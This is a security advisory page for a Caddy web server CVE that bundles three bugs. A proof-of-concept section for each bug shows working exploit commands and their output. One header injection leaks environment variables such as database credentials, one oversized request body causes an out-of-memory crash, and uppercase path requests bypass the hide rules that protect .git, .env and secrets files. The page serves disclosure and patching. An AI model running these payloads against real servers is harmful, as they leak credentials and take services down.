# CVE-2026-77281: Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass

> CVE-2026-77281 (GitHub advisory GHSA-j8px-rmrx-76h9) is a medium-severity vulnerability with a CVSS 3.1 base score of 6.5, classed as Improper Control of Generation of Code ('Code Injection') (CWE-94), in github.com/caddyserver/caddy/v2 (Go). Affected versions: <= 2.11.3. It is fixed in 2.11.4.

Canonical page: https://cveminer.com/vulnerabilities/CVE-2026-77281

| Field | Value |
| --- | --- |
| CVE | CVE-2026-77281 |
| GHSA | GHSA-j8px-rmrx-76h9 |
| Severity | Medium |
| CVSS 3.1 | 6.5 `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L` (GitHub Advisory Database) |
| CWE | CWE-94 Improper Control of Generation of Code ('Code Injection'); CWE-178 Improper Handling of Case Sensitivity; CWE-770 Allocation of Resources Without Limits or Throttling |
| EPSS | 0.36% (higher than 29% of CVEs) |
| CISA KEV | Not listed |
| SSVC | exploitation none, automatable yes, technical impact partial |
| Published | 17 Sept 2026 |
| Modified | 18 Sept 2026 |

## Description

### Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer

**Tested against:** `caddy:2.11.3` (official Docker image, SHA verified at runtime)
**Reproduction environment:** Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits

This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified `caddy:2.11.3` image with the minimal Caddyfile that the documentation suggests for the affected feature.

---

#### Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure

**File:** `modules/caddyhttp/rewrite/rewrite.go:215-249` and `buildQueryString` at `327`
**Class:** CWE-94 (Code Injection), same bug class as CVE-2026-30852 (`vars_regexp`)
**Severity:** Low (requires operator config with trailing `?` in rewrite URI)

##### Root cause

When the operator's `rewrite` URI template:
1. Contains a placeholder that resolves to request data (e.g. `{http.request.header.X-Foo}`), AND
2. Ends with a literal `?` (with empty query side)

…then the bytes produced by the **first** Replacer pass (which include attacker-controlled header values) are fed through `buildQueryString`, which runs a **second** Replacer pass and resolves any placeholders the attacker injected.

```go
// rewrite.go (abridged)
newPath = repl.ReplaceAll(path, "")            // pass 1 — header expanded
if before, after, found := strings.Cut(newPath, "?"); found {
    var injectedQuery string
    newPath, injectedQuery = before, after
    if query == "" {                            // trailing-? branch
        query = injectedQuery                   // attacker bytes flow into 'query'
    }
}
if query != "" {
    newQuery = buildQueryString(query, repl)    // pass 2 — RE-EXPANDS attacker input
}
```

This is the same gadget that was patched in `vars_regexp` (CVE-2026-30852). The fix did not extend to `rewrite`, and there is no equivalent regression test for it in `rewrite_test.go` (compare `vars_test.go:63,69,75`).

##### Reproduction (real Caddy 2.11.3)

`Caddyfile`:
```
{
    admin off
    auto_https off
}

:8080 {
    rewrite * /serve/{http.request.header.X-Fwd}?
    respond "PATH={path} QUERY={query}"
}
```

`docker-compose.yml`:
```yaml
services:
  caddy:
    image: caddy:2.11.3
    environment:
      DATABASE_URL: "postgres://leaked:supersecret@dbserver/production"
    ports: ["8080:8080"]
    volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
```

Exploit:
```
$ docker compose up -d
$ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak
```

URL-decoded query: `postgres://leaked:supersecret@dbserver/production=leak`. The `DATABASE_URL` env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via `reverse_proxy`, and be readable via `{http.request.uri.query}` in any downstream handler.

##### Available read primitives

The same gadget exposes any placeholder the attacker can name in their injected substring:
- `{env.X}` — any env var on the Caddy process
- `{file./path}` — any file readable by the Caddy process (if `file` provider is registered)
- `{vars.X}` — Caddy-internal request variables

##### Suggested fix (mirrors the CVE-2026-30852 patch)

After splitting at `?`, sanitize placeholder syntax in the injected query before passing it to `buildQueryString`:

```go
if before, after, found := strings.Cut(newPath, "?"); found {
    var injectedQuery string
    newPath, injectedQuery = before, after
    if query == "" {
        injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B")
        injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D")
        query = injectedQuery
    }
}
```

Also recommend adding equivalent regression tests in `rewrite_test.go` to the three "is not re-expanded" tests in `vars_test.go`.

---

#### Issue 2: Unbounded body buffer via `{http.request.body}` placeholder — memory exhaustion DoS

**File:** `modules/caddyhttp/replacer.go:217-245` (placeholder resolution for `http.request.body`)
**Class:** CWE-770 (Allocation of Resources Without Limits)
**Severity:** Moderate (any operator using the documented `log_append body {http.request.body}` pattern is vulnerable)

##### Root cause

When any handler references the `{http.request.body}` placeholder, the replacer code path reads the entire request body into a byte slice via `io.Copy(buf, req.Body)` with **no `LimitReader`** wrapping. The `needsEarly` flag bypasses the `request_body` middleware's size limit, because the placeholder is resolved before that middleware sees the request.

This means an attacker can send a request body of any size (up to whatever `Content-Length` they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.

##### Reproduction (real Caddy 2.11.3, 512 MB container cap)

`Caddyfile`:
```
{
    admin off
    auto_https off
}

:8080 {
    log_append body {http.request.body}
    respond "OK, length received: {http.request.header.Content-Length}"
}
```

`docker-compose.yml`:
```yaml
services:
  caddy:
    image: caddy:2.11.3
    mem_limit: 512m
    memswap_limit: 512m
    ports: ["8080:8080"]
    volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
```

Exploit (Windows PowerShell):
```
PS> fsutil file createnew big.bin 1073741824
File C:\caddy-verify\test3-body-dos\big.bin is created
PS> curl.exe -X POST --data-binary "@big.bin" -H "Expect:" --max-time 120 http://localhost:8080/
curl: (28) Operation timed out after 120010 milliseconds with 0 bytes received
```

Container state immediately after:
```
PS> docker ps -a --filter name=caddy-verify-3
CONTAINER ID   IMAGE         STATUS                       NAMES
7f8ba392e7b5   caddy:2.11.3  Exited (137) 2 minutes ago   caddy-verify-3

PS> docker inspect caddy-verify-3 --format "ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}"
ExitCode=137 OOMKilled=true
```

`OOMKilled=true` is dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after `"serving initial configuration"` with no error message, which is the signature of a process killed mid-allocation by SIGKILL.

A small body works fine:
```
$ curl -X POST -d "hello world" http://localhost:8080/
OK, length received: 11
```

##### Real-world exploitability

The `log_append body {http.request.body}` pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like `expression {http.request.body}.contains('admin')`, custom header forwarding with `header_up X-Original-Body {http.request.body}`, and any third-party module that resolves the placeholder.

Container memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.

##### Suggested fix

Wrap the body read with a `LimitReader` keyed off either:
1. The operator's configured `request_body.max_size` (if set), or
2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.

If the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.

---

#### Issue 3: `fileHidden()` case-sensitive pattern bypass — exposes "hidden" files via case variation

**File:** `modules/caddyhttp/fileserver/staticfiles.go:669-718` (the `fileHidden` function and `filepath.Match` call)
**Class:** CWE-178 (Improper Handling of Case Sensitivity)
**Severity:** Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)

##### Root cause

`fileHidden()` uses `filepath.Match`, which is **case-sensitive**. However:
- **macOS APFS** is case-insensitive by default
- **Windows NTFS** is case-insensitive by default
- **Linux ext4** can be configured with the `casefold` flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side

On a case-insensitive filesystem, the OS resolves `/.git` and `/.GIT` to the same directory, but Caddy's hide check only fires on the exact-case literal `.git`. Result: the file is served via the uppercase URL.

On a case-sensitive filesystem where both `.git` and `.GIT` exist as separate directories, Caddy hides only `.git` and exposes `.GIT`.

##### Reproduction (real Caddy 2.11.3)

`Caddyfile`:
```
{
    admin off
    auto_https off
}

:8080 {
    root * /srv
    file_server {
        hide .git .env secrets
    }
}
```

Setup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):

```
/srv/.git/HEAD                "ref: refs/heads/main"
/srv/.GIT/HEAD                "ref: refs/heads/main (UPPERCASE BYPASS)"
/srv/.env                     "DATABASE_URL=postgres://user:pass@host"
/srv/.ENV                     "DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)"
/srv/secrets/api.txt          "supersecret_api_key=sk_live_real"
/srv/SECRETS/api.txt          "supersecret_api_key=sk_live_real (UPPERCASE BYPASS)"
```

Test transcript (all three hide rules — `.git`, `.env`, `secrets` — bypassed via uppercase):

```
PS> curl.exe -i http://localhost:8080/.git/HEAD
HTTP/1.1 404 Not Found
Content-Length: 0

PS> curl.exe -i http://localhost:8080/.GIT/HEAD
HTTP/1.1 200 OK
Content-Length: 40
ref: refs/heads/main (UPPERCASE BYPASS)

PS> curl.exe -i http://localhost:8080/.env
HTTP/1.1 404 Not Found
Content-Length: 0

PS> curl.exe -i http://localhost:8080/.ENV
HTTP/1.1 200 OK
Content-Length: 58
DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)

PS> curl.exe -i http://localhost:8080/secrets/api.txt
HTTP/1.1 404 Not Found
Content-Length: 0

PS> curl.exe -i http://localhost:8080/SECRETS/api.txt
HTTP/1.1 200 OK
Content-Length: 52
Content-Type: text/plain; charset=utf-8
supersecret_api_key=sk_live_real (UPPERCASE BYPASS)
```

Three separate hide rules, three separate uppercase bypasses, all 200 OK with the "hidden" content served.

##### Why this matters in practice

`.git`, `.env`, and `secrets/` are three of the most common entries in production Caddy `hide` configurations because they correspond to high-value attacker targets:
- `.git/HEAD` + `.git/config` + `.git/objects/` → source code disclosure
- `.env` → credentials, API keys, database connection strings
- `secrets/` → operator-named bucket of anything sensitive

The bug means that on macOS and Windows hosts (and a subset of Linux hosts), the `hide` directive provides **no protection at all** for these files — only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren't there.

##### Suggested fix

In `fileHidden()`, on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go's standard library does not expose a portable "is this filesystem case-insensitive" check, so a reasonable conservative approach is to always lowercase both sides on `GOOS=darwin` and `GOOS=windows`, and to document for Linux operators that they should not rely on `hide` if their filesystem has `casefold` enabled or if they manage their files with case-folding tools.

Alternative: enforce that paths matched by `hide` are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.

---

#### Reproduction kit

A full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official `caddy:2.11.3` Docker image.

#### Reporter

Independent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.

## Affected packages

| Package | Ecosystem | PURL | Vulnerable versions | Fixed in |
| --- | --- | --- | --- | --- |
| github.com/caddyserver/caddy/v2 | Go | `pkg:golang/github.com/caddyserver/caddy/v2` | <= 2.11.3 | 2.11.4 |

## Fix commits

- Patch: https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb
- Pull request: https://github.com/caddyserver/caddy/pull/7761
- Release: https://github.com/caddyserver/caddy/commit/e2eee6a7fce366321294c9c2a79f3146891dcbdf (2.11.4)

## Questions

**What is the GHSA ID for CVE-2026-77281?**

GitHub tracks CVE-2026-77281 as GHSA-j8px-rmrx-76h9.

**What is the CVSS score of CVE-2026-77281?**

CVE-2026-77281 has a CVSS 3.1 base score of 6.5 (Medium), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L.

**Which versions are affected by CVE-2026-77281?**

github.com/caddyserver/caddy/v2 (Go): <= 2.11.3.

**How do I fix CVE-2026-77281?**

Upgrade to 2.11.4 or later. The fix is in commit 176b043 and pull request #7761.

**What is the Package URL (PURL) for CVE-2026-77281?**

The affected package's PURL is pkg:golang/github.com/caddyserver/caddy/v2.

**Is CVE-2026-77281 exploited in the wild?**

CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-77281. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "none". EPSS estimates a 0.36% chance of exploitation in the next 30 days, higher than 29% of CVEs.

## References

- https://github.com/caddyserver/caddy/pull/7761 (fix)
- https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb (fix)
- https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9 (advisory)
- https://nvd.nist.gov/vuln/detail/CVE-2026-77281 (advisory)
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77281.json (advisory)
- https://github.com/advisories/GHSA-j8px-rmrx-76h9 (advisory)
- https://github.com/caddyserver/caddy (package)
- https://github.com/caddyserver/caddy/releases/tag/v2.11.4

---

Source: CVEminer (https://cveminer.com/vulnerabilities/CVE-2026-77281), compiled from OSV (GitHub advisory), GitHub Advisory Database, OSV (CVE record), CVE.org, CISA KEV catalog. OSV and GitHub Advisory Database content is licensed CC BY 4.0.
